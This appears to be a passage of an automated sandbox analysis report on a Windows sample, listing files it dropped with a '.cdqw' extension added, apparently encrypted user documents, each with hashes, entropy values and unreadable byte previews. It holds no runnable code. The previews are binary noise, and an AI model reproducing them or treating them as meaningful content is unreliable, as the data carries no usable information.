Preview:	AGWVMP`..z.....b.?...H+ww,..=+...}qV.2/...tMP.y.L...V4....2...ZmwZ!\|.%A*..8j.q.....[.>.Q...9@./q..\U...P.S..v.=%P...MU.rK.8..{/4...&.....;..A/....b..wx=.5.....{.....i...o..^KUG...Wc..{.....q.nb.r..~....B:..R...A..C.....#..Z.d..&.....w..t....T.._y...h...t.@U...Y....E.u..d...o.p.A.;...ZW..&..u2..._{.......R.}....[....eU....?......... .G...Q...sNV..C......6....?.vy.[.#.....J..&..J30.MCj....hi..4.q..\|\.^N..-._.v...:.~.D."y.W~.'.w;P.;..{...\|X.A.&.......~.?...Z(....yls.B...,..f....k..U..j.=..Uy3].U.Q.k..}....vd.....)...... L.o.91..l..jq.O4..DE...q..A....2..~...<."N.,G-.'.PNv...g.R!..[.~..92..m_.7.H.......4.>....\5...%...[..R.........w.w......H.....H.'..5z1...C.q.T.Q.2.!DB'g<.l..K.g].hn.av..T.._0<.).....j..".......fv.(<.S4B..+xsCs$<.R..]...t.d3.EJ...^.'..... .vN..2_.LW..]_.r[.f.<-.#.i..J....~\Thk.~.4.<,4...v.`\|..@......`.).%.j...=Q/4..m...7.\|I.{..$.D.......UD..v.....' . 1Z....y._...b+......LI~....6J..+0o..{'.\|q....d/-....$CGd+U.....L...%.q/.

C:\Users\user\Application Data\Microsoft\Windows\Recent\ATJBEMHSSB.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8304977246082395
Encrypted:	false
SSDEEP:	24:N+KMjueT2SHax9kprAafWIo5TypKGHjx91uo1oIqFWLgZ0fs0gQyHChTlDc4+2bD:NwBKL0AvTiKpowA0ZGgQyihTlD7D
MD5:	67477B66F838842BA09651399ACC321F
SHA1:	C9F3DB3A6346E6724618DAF2C7F4033D30D4EE15
SHA-256:	27A97594AAF86C45041C1727626DCF5F162C4DC2EC12116A0008BEC29A819594
SHA-512:	AE71E9B9AC9C0C27A6BA43FBEF750972B619EC2AFDEE8AEF13E961CD42C78537FBC0B99335C8D692166FF4DC5EBCF93BA645F4C4BD16BB3F41944FA2CB5B52E9
Malicious:	false
Preview:	ATJBE.:?B].@.6a9~lz.<...G...$yN.&...5......f^....;u.97&!..8..uL.$Q.A..N......vf.vLJ)..XGucy...a.^.z....pE8.?B.VNP.vo!.6W..K..Z..^1...M..9:a.'....4q24..-.....`....`.&...XxT.#.Y.M.>B...4.0.&\|i.y..O.a.^}....S..e.+..%..I.!v9.. ....530..(B.......@....&....s......Y._.\|E.....p..s..b.y0.:...2...3V-..a.....Z.2w.hbpq.r.}.v.2EE.. n...).....N1J..y.X\.z..^%A..=.#g.;....e...A~)....n..6..../.$.}5.7\|C.z..7.....p.<k._..a...A:..;.:...p..H+.".v.........G..O....7...u.,..8U..[k.>H......L.Y...fy..k.S.&...S..l......%.....p:.+..E,..\|.u[...iWJ.8..4u.=v.q#..K..?2._,7V..5C...nD!i.P$.aPJ...7.~;..b....so..F..K..w.6C.K...z.j'..o.[.$.M.$j9..i.\........M......C.K."...{3...9x.i....a.i..h...GSw...,.\|.W.P.".l.~.........aZ$..2...f!....T}.I.@V.....$..Ua..n..&....N.Y....@..9E....~..D..T?..>..9....c....-V...`!...u._.s.....]..^GN....)f.-.?.....R.`.<..#.V2...../X..B.7..5~O..w..3O.....-".P"..<....aC....ue..E..qc.Z6.[....1...uNQ..N...c.=...K..a.%.....)IX.wK.\..-.9%^.i..

C:\Users\user\Application Data\Microsoft\Windows\Recent\BNAGMGSPLO.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838279607067713
Encrypted:	false
SSDEEP:	24:pfvVE3rx/iD3qLplDZFhQ+3cEmPoTBfdtWlJ7OrOA7cwipGJz+AB2bD:RvVE390qLplDZNJm6NWlJKhc9gYRD
MD5:	D942D2719B6E2C545AA045D819EC843B
SHA1:	45119A9BFFA5917C4162E077B9E8FBCC371A1373
SHA-256:	4DDF8E33A6B0A5A772D3C60FB2519B83B293C7D34FD3B18D366DA6FAC4C5C00E
SHA-512:	7E30851554E87246AFF28CFF93B5F0B5047420B40F511ED94D5B3C6F5D3475B3A7964BCBB537BBA8CE8DB4F6FE858E61A4DACA3A7C20E7BE859233B2D12875B9
Malicious:	false
Preview:	BNAGM[.QD..V......U.+....T.F.:j.~.D0..d4..~..!./%.$...eq...2.......(.Q.0...2{e.....;[.>...dqZ...>K....^'.O...._..L]AmC......[.v.R.S.....irG.:.:.........f......b8............w.^(...[..R]2l.. ...L.k\...\o.NJu.G61c...}...u#B.9.5.._L8...].8...]BQ.....m.....!.T=#.5..).......~3...B.S....I.FKK.a.#E,...`~.\|....%....M.>..ox.Go7g.F.f..o...\|..AE.9.&.a.....OA)5.`.H-....\|.xO.9..Zv#v.....g.W..CQ...v.......T...-.....;.B. c!C.F.pmA-..Q.@....o...WJr_..........{A...L.]6.\{Oi.C.%A...aH.N)..gzR........[.mH........o.CL..R...nxa....-....1.1....Z}O.-..,`.....1....3.9.~..(.o.7..^.&....>.1y.l`......;...Z.).s.Q...>.....SN.Y..g.cJ+.Cv...'1.%..3..d..6..LWh...}.S.(......F....71..>.E.}6...?..@%\|#.j.86.....S.N.....a...I..e.B.9....V....UI../..?.j#.)..3.W...#o._-3M.1.\|.$^b..K7........}.....".5.E......../..v^..4u.rC.]..[..............n....x......Sc9........v/M\|....@.3j2...CE...]...$6.M..w.f..6WWU5..\-.F..(.D..3G\...+.R.K.s_.....)~kA.`.h.6/.v.$wK'.1*......!.yl.Y.!.\|.I.....)..

C:\Users\user\Application Data\Microsoft\Windows\Recent\BNAGMGSPLO.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833703924357949
Encrypted:	false
SSDEEP:	24:QWYZGOPD8i0nlke8xDcSqykvezJnT4XifycSsbp+KpsgKYreRz2bD:QPwuQXnlke8xDvkvm4XiKcSW5J8gD
MD5:	F0C810AF7678171A8AB1CC358B290334
SHA1:	C41A0F3D1FAF1009706CC3A1E8480370C1EA0B47
SHA-256:	2A9CA3742A05646E7AF93EDEE3BDA42011DAB4F264D64DA82B071F36B6A80FEA
SHA-512:	DD112D533B39CADA5EBC95813F0357EC6D437681DF6853C9D495D34CFE77FFFA38F69675EC76478B3F14A24E2A20DB26CD974A2B8401EC2569F183ECCD9A441F
Malicious:	false
Preview:	BNAGM..\}.:2..f\|.....m.L~.u9G..)a..........iI.....EK...^...O..I7.@Ls$X....9....Id.x5%.9IiL..q.\.A\.~.I..]M.i.!.K.i.Bu.....i..;3..Q.N#.;.T..U........dp.....}.p.....n...%...A2..R.<.3.............[.6.2..................reY...?&...v.D.C_k.....!.7,.w..ot...U7.."~\|$+...&..0ub.>b....%....w=.`....,......:..9..c.K......`#~T.($J.....\.......g....MU..<......M ..;.\|.d)i.b......q.{).A.-.P...w.........~n.(.?y!....G.....$cS..K..l.BX...e..c..........dm@.%...+..\.4D.........G+..f..+..7.7v....i..".B.U....9......L..Fe.....c.S......`.....!.\....k.0J......R.#.,x.lW;8h...,.o....l.@.Z...(2rDFcBI....l[.......l..a.. ...>....U....x.z.;..^..o4.=.I...\..N.W..Q-Kd,6."...ox.....Uex:.#......q.b.U.!.l6.......a~..4...1...]_...}..:.qQ.B(......;.J.A..#....F.V...Qw.h.7..v+.H.7.t..9*!.&........\./.t=3.8.6H.t..(.Y.^...`..RK....Ee5.o...Q'..:.....HQ.....j.{q................pk.....j`7..[..^.:=\.o.##.a,....M.9..(.Q.#mv..S..X.i...,...f.8/..}.....I.a.%.$...w...wI..U..QW

C:\Users\user\Application Data\Microsoft\Windows\Recent\BPMLNOBVSB.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.878025404724233
Encrypted:	false
SSDEEP:	24:V0exAWTMnebDfQCWvla1FbnFAy7/Is5PYRcSvStDKahEuRWTtj3thy/k2bD:VlFone3f30CFbjXPOq9RUi3D
MD5:	6F2230E074A6CB45E8D68C112B81AF2F
SHA1:	03CB525004720B896D722E22D1FC9C5EA60377EE
SHA-256:	A90184E12B7E4E4D77691D97499E58F27E63D8A8760048E6EF6E2D5DADD22172
SHA-512:	A75CE2BFA78C9CFB66034C4DE4F01C8E96F77E103F6FE6B8299D85140AF1812A0BAFB4565B4417AD3BCBFAE5A60C6C7619D105827A24E89BE91DACD7D9428329
Malicious:	false
Preview:	BPMLN...e.M...".....8)".HyUEDKQ;......w...?...K.M......`:.o{.q..D>.b{..."bf...#.Kf`0Lc....+`..@x..+SP...p..P..k..:....f]..D=.-B..C%".h._f..e...k...L...f...?..'3..;oM...sd.U.7...1cO..a..Id_l5ru..R.oM...'..=.\..l/.~/.(...[..Z......1....N#.._.%....@..D..Fj..px>.....P...EgXs......=...-X.-n9^[q........~A....3..P.v&.....A..~~.../]x]..........%.t]Jj.<.1.FYu_...........i.:....9.Ie.{.7..&.._F..Q.z{s.[.'A.a...{-5f1.)v..t.t./..qw3\|.o.T5\.r...;8.6.gK...u..-...Ve>}.gt........:....n.3.....)8.<.u.[yy=..d5...2]"/...y.@J.c.kY%....-.N5....].............II.a..S...Es(_".....[.N..?.G.V..{Ry..C.K...pd.x.....-hU.....'.....G:_...gB+.H.Vj.FsH#.S...u.S.,.&.\qI.......1....w.!z..._.......Oz...D..<u&>....^.VVv....~......#....>.n......+....d...lf./;.u....U.../...F.j..s!.....^\.x<...w...Vq..d..n.cu.Lo...r...i..`.0..8..h`........K.(Z.@....g.~sK.wy..v..*......E.p..j.L.T....j.....sT....e...,.:.r...{.YgI..4[n...G.M.}......2.cA4.d..q.2(.6.e W ..7.ZF>.b.6.<~.....v

C:\Users\user\Application Data\Microsoft\Windows\Recent\CURQNKVOIX.docx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841883788448813
Encrypted:	false
SSDEEP:	24:wwvslXqk2h9MMu8Lxta/rH9nbr3+04bbsYF4zRRIX3F4K1b/2bD:wY06/9MMu4o9u04bjFqR4TcD
MD5:	333E95E2E872EB371921239F5F2C08E9
SHA1:	C0D02EDF1F2216E6A5F1D6DB6BEB088C48ABA349
SHA-256:	DF88FF2A8749213ABE11DD366979B25B421FDD6ACD7726BB86282EFE9D08A1BC
SHA-512:	52E4EE551F44A13AAF909090063CA48F2AA95E4DC50AF0E6D6917425E9310640CEE41805D42FAEDC5B0E43BDD54ACA3048726FFC595763275AF9BE5590DEEEC4
Malicious:	false
Preview:	CURQN....H..R...:......Y..hv..H..X.H..6.....K..O.F..E...".....6..#..S 3....&-/.<.N..O.e.....Vb.xY.Y.9.%o....'.........mg\|y}.6.R.%.Ky..l...`.80wx.?.=...c@(..oc};2...f(.0..p.`o.R.{.%.....(.....V....O.$.K....q`F.7.......W:.YL.....z.......v.{..=.......,io.....$...9".i.E....2...e.arm....wZW..R$.h.....C..!.......4.:.)U4..].C.j.....3.........6.....Qx...7y2......6...g....m.p$\|..p...R.~z...2Y.-.s....C....." .X..&u...YS.{.sR...g......q.s.6N3f....>.W:+.`.{...Y..A;V...`wj..k.Q..d./....JM......0 ......:.%{........:J.ZOGB .4........w='...&MC.nF>....%.>....k.M..f.....;G~...v........s.'...4-G.+\{...J!k(.. ..(.7.J.X.;QH...bs=....j..-!U../{Ja..f...ct.9.v.B.A.\|.2..fYSM.M.?d\|..xAO..n..Y..m......M..7.x..C3W.h@..P............7.....i.....F..%xz.Rr.i.P...;Zz.J........%..=.V....u7..a...z.....0EG sQ.{"..L]..m...D....%`...c.aY.Z.\|6..1+.....J.gp#f....L.GQ..Q.....}...\|./u.*..8..]...i}..,.....=.W....^.D..[\|.4........Z....}s...l.D.s.....0.....0-......&..^.+<Co.MTG.a

C:\Users\user\Application Data\Microsoft\Windows\Recent\CURQNKVOIX.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835710374412737
Encrypted:	false
SSDEEP:	24:fGBQDPjLsSVyHJKpTyhRohkcwnyVJzOj3pKzElh+pTgbcopbwodj6oYotx04PY9r:fG6rJVypKQ4kcwyVkxhkMbcoJwm9YKxG
MD5:	D92C7B76C07EBB12D90AB785A21DB236
SHA1:	ADBAB41567EF6E7534C1F35E2A5D9E1C079375E2
SHA-256:	CB9166BF41BA5B0C1B4881150A3D7AF1665322F65454932CC92217A9399E9C9B
SHA-512:	6E1FD1DEFF2E053F1C641804B4F83F3B4796DB751A5BCEC8C73E212D692F6902B1E8ABD14BB98B859B65CC6EEE120AA420B5C654C64ABEE1C3A74FA68E3C1E5F
Malicious:	false
Preview:	CURQN.E....f>.....?...}...7.1..Ok......`x..^.+....2......_........-.s...I.X...]&:.qM43...U"ek..k...6.N_J3.\e.w.U.J...G.&.....7..<.e1.. .m.>.Ed..^....6m..n}..9.TK..E.]..j......2}.t...{p.G..&.V.$..>....e.}.e...t.by...z0.-....[...>V..U.Aq..u."^%..6.\|.[...Dp..(w?......oM.:.gyo..+.;.......(.X.u8./..[.Z<...7>.NAC.\|../..M..u.w..`.....+ ..Fd\.........%@Q.B...72..5. +.\|.y...\|o.F..P.q.....)S.._....(l........<(..k8.....LP.........l........x[..W..B..^....s...0.Ki?#...^..]E...+/.=A.)...........uB.ed3...K.(.>.;.;........\.B_,'.n.....pu.]Z....S.h..(.....@$.....c.c..Z.....;.R.m.^.+..2.....G..i.t.d5...Q.E.5a.$4..aO..k-..v.m...t..n.....0.k..oGc\|EO.XR..F.......^..3...u...$......../...D\..h....I.;....w3.5./...8...\|/...q&<-[Q.....,...m..;...HLW5...2.0..g(..6....\|...0....M.~.....0E......"_.8...1.4..n....\).]...}...X$.j.e..D...M9.F\|.)....~.y.s.W....QX...^y.Ij9.!.R...".q.%O.v=.9...a......@..(..D...4..`).d.`G.`.e<..v.<x......&..BU.KP......ed.1h...$J..#

C:\Users\user\Application Data\Microsoft\Windows\Recent\CURQNKVOIX.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838133334030272
Encrypted:	false
SSDEEP:	24:UHlP/WXNJN1iCI8YjdbBveumbmvf8tqScqNRqko1QuOi2A7L/v4f+eYX2bD:u/WKkYjdJ6mX8AScqNRqko1Q9i2U7v4r
MD5:	36D5CE4A3563DE9D9ECA70111136E7A9
SHA1:	2AD04EDC82232FF5FF0C11DC759EAE7CEBA5140E
SHA-256:	85226838CBB354DB6AA6239D4D6AC4AF3E8DB156A6EABB7A8D463C3A8C892EB2
SHA-512:	3363D07114597E460DCE08E256D17DAAE99B0C26E6F0DAFB10CF6C89C855C6E03D22DF639AD8916D1E7B81512F1A2A7147AA2F33F3F569D29454D3ABC6F6DA6C
Malicious:	false
Preview:	CURQNd%.Q.X..)..M...MI.h.O..`.6k...B.%.r..=1.?5......x5e...]..L=.^..LQB....k.5....`?Q..5v...Z..X"X.qQ.....?r]......0.)......4.5.`..\|.Ok..xT.....:\..k..].,.(1TN..t.p.......NKr-.(...v.9..D...\|...+G...:@tRB ..rs:...E...u!P.G8..R.#.l.....;.T.8.u.%.6>........&.R....k.$.\|.._.J...[....m.......6...+S.<...x...LKoTg......._q.Y...6.)&".Ro....j..e....=Dx..M...R.......9DE.(....X.../....y.h.O7.........U..../..?..c..h..W.F..?..$./.S.....&&.2...F9.Y_.k..5+.Y....d...H...-0..;6P..........I..@...s..H....H.._.....C..C>.5..._.bU~.;m......\|[m..$o.n.G........{.h..@...'NNu.8..u;\.*\..]g.....#...m.4am..N...6LFH......U.&...LH-.cV...}.Q2-/...U....{~.U.!......E.Bq.)g........PR~....wU.........T6...S....2........"p"o.X$....].Zl.Jw~.....T..?...'_.q.q....O...{./...%..yz.a.....\|...1S.<.../&......./lR.$4.N...T.........I....f..+0.R...O.<.p.>`o.G[..].y..1j..7...%..M.}!a.7.2....1.........\..7K.....[?....5".[A&.... .C...Pz.V.%.P./.:.k..a<m...&...u..#....k..xz..]..

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835876574368724
Encrypted:	false
SSDEEP:	24:1TNvCim3IiTa4X1uuzU5/ArfUX+5jfJgkqRcOK3ZxUILszb2bD:1sV3ra4lsIrf9jRjOb2szID
MD5:	309FFE462C5F1CDF3B374D4F95F69E80
SHA1:	0D33595DF875BD7AE4DF0FF8C1A3F7937AB875CA
SHA-256:	77F4E6310E636ED48CF9960BC7774C9AF5674B621F1AE9027C57EA4EA74EC363
SHA-512:	DF3AA0E581A2977BC61A30BF6D8085E1B7B40128460AF8E788534596C04441D86F9C9AF6158170EE38EC024A10B4E7BA506820C4F3C016D65762D6A2DF59E662
Malicious:	false
Preview:	DVWHKW.\|..i. ..GU..#q..z....q...@......N..@..%\.....g.'{k...~.K.[#T]{.=...F...!.. ....DrN...R...@k.pvQ`.....!..(.n......[h.....`Q`.m3.T.....]..!.(+.B...L..W.{.;..u&.B....!cg.+....]...,8...g.^.ny?/e..1...G......2@M.-.W...y.k.I.........R%.....YN~...nh\|y......Jdn.12..Q..A..c.."d`........,.9Y.-KxiYO..yK...!..F.Z.yC..dh.T.........-.J\3..%...\|.f.;......P.}.;K=H.......[!i...KQ).X..E}.V..;...L.f..1e.I!..Z.K..".x..\|:..W.7.w>.eT1........i...."~...:...`...%.... .....`.C......K(9....v...!)#g.-.7I..._@....d.i.R.S.t.z...=(+_EK..V...Y....aBB......EU..'PEv..S<.O.ho..j.Sl.N..9.....<(Z{,.c..."._....`..i.h.+i.K4Yh.O.'u...i+.~q:.n.... "b..k.s...A9.?4.5...q;.=R.O......x. ....a..Bh.z....h...g.+.Hf..<3....>W..#L9..-....r....gk.Z............J:..X(3.V.=y..ZS.!..o.i.r.'.i...s.iXo.v...#..l..}..OS...w>.?.Oc.[.pc./W..' ...J....!A...=....Fu.,Z..}. ....wn...M..%@K.....o..T.w^ih*d.p`....).wW....L......@<Q...f.%.c1..........s1_B.p....g..... .V._..\.62.S..f......t5.'

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853240317777694
Encrypted:	false
SSDEEP:	24:wEVJlHE+26KRyvN72lPD0ZLncRgAGk8gBow5g/1KgXnA7og5UTgbw+n2bD:wEPlRFvN725D0ZDw0kfB9zoEXuD
MD5:	CC37C8DC130AE5416D56B0A43E322A1F
SHA1:	3460442072F906802DE9BA8FC8B5342EE415F8AF
SHA-256:	E7715DEFB511FA241304EF2777407C3606BC3A02DA1E3D9FB5798333CBFCEA3D
SHA-512:	CB2E55D64FBF04788888F05A3FF8E983B06A75B1129C9155BB286ACE072B2DD66CD2F4E8924BC73A6EA0043E8AAD3A306E3D14D1DE39CBB1C2F85BD62D9A1919
Malicious:	false
Preview:	DVWHK9S....2..D...[....q...x.ty1... "..I.ns}#..r..v.g...6Xx/U..k:...OpQ.h.l{.1b......C..<....F...fg-.(.6s..a....T.c`..........J6.q..CdQ. .3.Jn.t..$<..._.d....hT.......#.........G;...Yh.(...S.v.I..p8.K..HP.!45..o..t...7.m...X8......]7......F..c.V. ..G...E.`........o...Sc.ff.I..M.H\|.......s+.......n..[..D&.....;.g..5.%".G..A).1b.Qd.h0....<..M0.r'..Y..B......&..dr..d..W.wX."."{....(.;.[....f..V<e}...I.............r...6..~.]....1../6.;.J@@&...$..aD?.'.O..3..]..RM..+....Y3@...,.:...b..."$i..:@.8......?e.8.}.\.\..ki.XV.....K..~(..GkwBv..ZR.qI....\|4......zh1D5.wyM"L.<...!.h..C..Rl...c..q%D.LP..R.H..B.s7..pC..z..1s.M..ok..D......."....._.f...m...#.c.S....1.9^.P....3h....t.!%.M....bj...H....MY..<.b.......Up.A.P...#....$...l..j....r.......t;.0_...h..[z..hk4r..........\.u.."..E. _...k.K...M..T.4...T.......;..B...u.....d.....+.[.....W.5...D..$7C....:.W....g...73..U.2B.....[.n..@......t..B!.h.ou..+.......Cw.C.AC..'(e.5.n^3..,:..4

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8612817318046
Encrypted:	false
SSDEEP:	24:LkDlDgvOEjraA2S4I6avAeEjbXXIyC0QFiaxcdVswNKHQu1zS3c+wIBX/DkMznta:LkDlDrirkS45LeOH0zFiaxMlNKQGSOIg
MD5:	F951EFC3B2D91220394D169DFD501C4E
SHA1:	AED555744EECF3B1CBB6C2DB9BBD5A9E7C158E36
SHA-256:	0C49C8A5642C8E4E80D2462C160A37811C1F9CCB91877E253F1A887E62680394
SHA-512:	72FD831FED5721123F57BE34320C30FFAC71ECC11C360CE4C5FBEAAE447AC74B5472A96D8D8A2C6AABBAE4B5AC0E681487EDEA72AD42707A47E9EA6B9BAAC2E0
Malicious:	false
Preview:	DVWHK....+W..Y....v.D.o.(._"......W..._0..Wu.........i....R..\|......K.TQ...Uu>...$R.`..}2.L:\|;.Da.Cn6&.p.TM....@.u~..F.....5......^."7.;L.C8....X........5..ai..Y..Q..aI....P.."..B. .1..Q[t;jy.....p.V....,.-q.C.,.6X.\|R.@...h\|p..O.l.K..fO.ci.r..w..NH..].'.BZ..../.\.0L...?.L..j.R.vL..%..&.P....H.B`[.D....O.......H..%. ...l.;bs.U........4....>......va........p...%._..%~9"{.`...r.._.B7f..=.7s..-.N=E...@..dV7......s.....e9.......nT.f.,+\|o.n. .....",(.:...T.J......6..Q.Z.+....zwFz'Y........Y........K^B8z.0..RQ.g.o.m.....fj,...%..+.V....w..8z'..r..}.W.g$..~.;./..f.4..h..y.....x..y.i.;.(.2...2.@...M.j.....h%w..k..A. ..[.Ki.pD...t.I.U..X^..I..>m.@\|.P....e.g.....pT..."..Y....L..@l].h.U.:..!\|...J...C..Ug.KJ.t..&s....`D.GP"......^......B....}.{.Z.D..<<...!.....Ju> .mCg.nyK.o..l.......~a.J.S..i.....M..b..R..6_sD....6K.:...pl..$.].H...............^[{.p..t.....l.{....}..D.^.....$A....RE.-J&\|.N.@...t.U.._v..T..N$>sw.b?.....p.p.J..Y..:f

C:\Users\user\Application Data\Microsoft\Windows\Recent\EFGRWFCUWS.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847772386363119
Encrypted:	false
SSDEEP:	24:nJwJPMa7hD8RHNZBAkaF4YXgpx4y+dnJGeglj3DfDcl7J4U3e6G/2bD:qJPM0D6HzBJgax4FJAj3vcZuU3eFcD
MD5:	1A5B76B7A3227ABAC32B2776B990EC1D
SHA1:	05ADEBA892BC011DDCC08FDB783DB5FC8899B302
SHA-256:	DCEA16F28291B0658672A7555F69E8E858B2CCFAB621A2FD2AC7E796DEA1FAD2
SHA-512:	5B32B9DB6D80C24706234125EA3ED4180EBFCE99E1CC4F29725554AD6C0DAA90E33F8AF30C12730A05918A6A3BD732A90AED11F717C8C4B5EF2BFB404C81DE96
Malicious:	false
Preview:	EFGRWv.0R.vA.}.....H..)......e.V...nx...K..DX...T...e..d!.........^...de...@.u+...c....aj1.Eu.>...[..x..b.u....&z..r.%Pw..V....pY.{2y..1.qE.Os..>..Oi....-...KBr,..4.._....u.!..u+.!w.yH].N.....Nlf..N...K..c..B...)oj....~..Q.z>.U.).c.D=.....rO...a`..9~~...Op...c1......m....2.Y$.U...c.i....YX.i5.Y...za...l...Y.!..9+...,...}...X..!.3FQ.....N\|$P.=."d..W.`..3k...L>....q3.hZ.;..B.i6.E...........i.....sR6.r.....%z.?....O..F\...^}.....<..MX.."h.....Q..m...,p>s9..p.P.BV...Cl..z...u..m..L..^... ....O...&)c.Kb..5.'.u..c..d.1..#.....F5......ovN.......r.G.....]..i....p",u..d..}Z.s.RT...M..2.....\|....q.z.V.#YA.....d+..I.:yK..5.#d....{.D.GH.r9...R3r....3.jb...9.V.\|...)..4...MI.}_$.;@../j.]..$...0j.....P.{.D%...{..s.......3v.0.........32fi. .d.:...n..`S.s..}....CX\|V...p....<x..EIw.......a.rZN...z..i.+-Y.h.....^>...y..".w.@_.H./...j[T...`....].X.-.Z....\...........C..T#!.H.2<.(...$5/_.o../.o-P..7..1\Z.E9.E.a..}.b..>.&\g_..'?.u......Mg.u.\.e>.9

C:\Users\user\Application Data\Microsoft\Windows\Recent\EFGRWFCUWS.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865169071812218
Encrypted:	false
SSDEEP:	24:Eakk1JAxvHkVvQA3Yjd7b/5OVW8xbZo1X9NbRcqtv5ZlAg2bD:Eakk1JAx8Knhb/YllZQ/bRcqhpaD
MD5:	F5BD52A7AE364907138AB58DD2383EBD
SHA1:	52B39BE15BC9E3A57FEF2826FE6464AA3EBD41F6
SHA-256:	71C2386DFC9DFB1AD8DEE35A6F9D20662DB1336069BAC7AE44F75AE412CDA7C3
SHA-512:	62B36F4E5ACD0F77BCF80F34D4E2AC5EB1AB8154A1E0435C13C9B35CAB5A876CD36BEF3B9AB9EC207957213B80327B9FE4DCEDCFA9ACCEC41365DC602D2024E5
Malicious:	false
Preview:	EFGRW....?.o....+...<.Z.!...:..}..d;j..+....S.[...1..e;....4d...........Nlx...@..1#...rsG.Gi........nYc.&...a}..;.......!.d.U..+86..sj/..^+..^.7HZ..].vBz.@.IP.e.KeT..n.OO+O.U2.....L.- .. ..x.fal.=.UZo].w.wr.....(x..-..fs.d.j...h..}G"..vQ......[.\|5u.v...'...}<k.u./RO..x....8........[....E........;....4........OhP.o..~....jI2..l}.q.<..Ap<i=..J.c......,t[=.Z_}g....C...n..6z.K...8Gw.... .@R\|P>.!.. ..f...uJ.G..c9..p...>......+..7.]._ihd.o..x...=A... 2D..Xb..21...V...)6kBa4...1.`...K....iFad.....C....S......X..W.R)yc-Cz..rtg......}z.. R...$.......9.o2.dm,J.(.b5....:J..-uz.-....b..J....Ie.v..W.....X4..`.}...7._...c.H....z[...H....'~u..".....@..W.>.....],X....i...^..."}<..O?.R.{....e....#)....\LS.s...i.2\|..\|a]P....(-.H.-..q.G...C.}........pt..-.VAq[..U.... .m),....t..4.w\|.~._...=zn;YF.%.....H....(....-.4Y.......{...PA.K~mJ[hb..'....6E.l.....,.f8....)......."..?.2<U=.a.......d/.W.s.+..2......\... .!..'....._..R.w.r...=..D.I

C:\Users\user\Application Data\Microsoft\Windows\Recent\EOWRVPQCCS.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861312976599682
Encrypted:	false
SSDEEP:	24:uxy4ocZ/S/JG0MsU+8xtKLCUVe74M36Unx/TlsL4cJUhiuZ2K0C865jg7bKs11Ta:uxRocZK/JGP4KtK3e74k66KpJOiuZJNh
MD5:	68C2FEA655E88A5C9A7F4F46250F1BFC
SHA1:	834488CC03B5E9C51D6CCF1BB62AEAB30C631807
SHA-256:	3D5D09C7E897DD0279E5FB02CF28966DEA7E6E1B8BAC08E60FBBC28D41A61BD8
SHA-512:	9DF401608F2CF9E30A29ECC1325318CCE56315A7292C97A20CE06B5C4E09E718713387CA95DCD641CC5A18A5E7D17117461332AC4F2ABE228F2240C2E09A88A1
Malicious:	false
Preview:	EOWRV..W..........7...e..c.i.........42P....@z)...P...NI....}..........N...$............6d8..`.o89X(..Z..."....7...P...dO..%.3S.Z.....e%I.jEB.#.....uvj...T.NL...........&1._K. 4....\|...vy!...h.y..S..p......@sL.9.A....R\|.v..vQ...!I4<1..#..}.\..........Y0..S....0.y7W...6...^.}Z..rh..H....+.B.}..6..f...pb.TI Cj.'.d}..Hq..r..Z....,.a8..47.C..'6.QX1..bW......}_z....}9_.....m...L[..bk.qg.V.]7..%..kg.l....t#r..O.`..J.-..f..2.l.5F....\|[9)V..{...[l..._Z....?.@.w./.3K.)...;._^...KY....m......L....u.v;../.aj]z&...\.f........?."...5... V...Z.D70......h..F..".w.J.5.YZ.[M..>a...5.....9..s...>d..R.:..>.k....@4..om9&sr.c...\|?^.....:\|..."[{r.".1....W..g...);....A.!5gS ..{.bR",.%..gX.&....n{.1..F.\...B"r....l'4.7!LK$?.....F,....{.1./Ve.q.Oo.6.K.....N...j......X..!$8X.7DN....49.8.e..>8.......Q1S.`.....Er.. ....U.....,V.l...(.......%z..tt...;C...r...v..FN.>.(:.\|.0b.p..x....i.h...D2..E..3Z....IW.U..V.]<.=].z.1i.....6 .Tz-r..>U...r+E...UJ.H{?.\.-......\Cl..j^XE..7...U.

C:\Users\user\Application Data\Microsoft\Windows\Recent\HTAGVDFUIE.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.860092544834988
Encrypted:	false
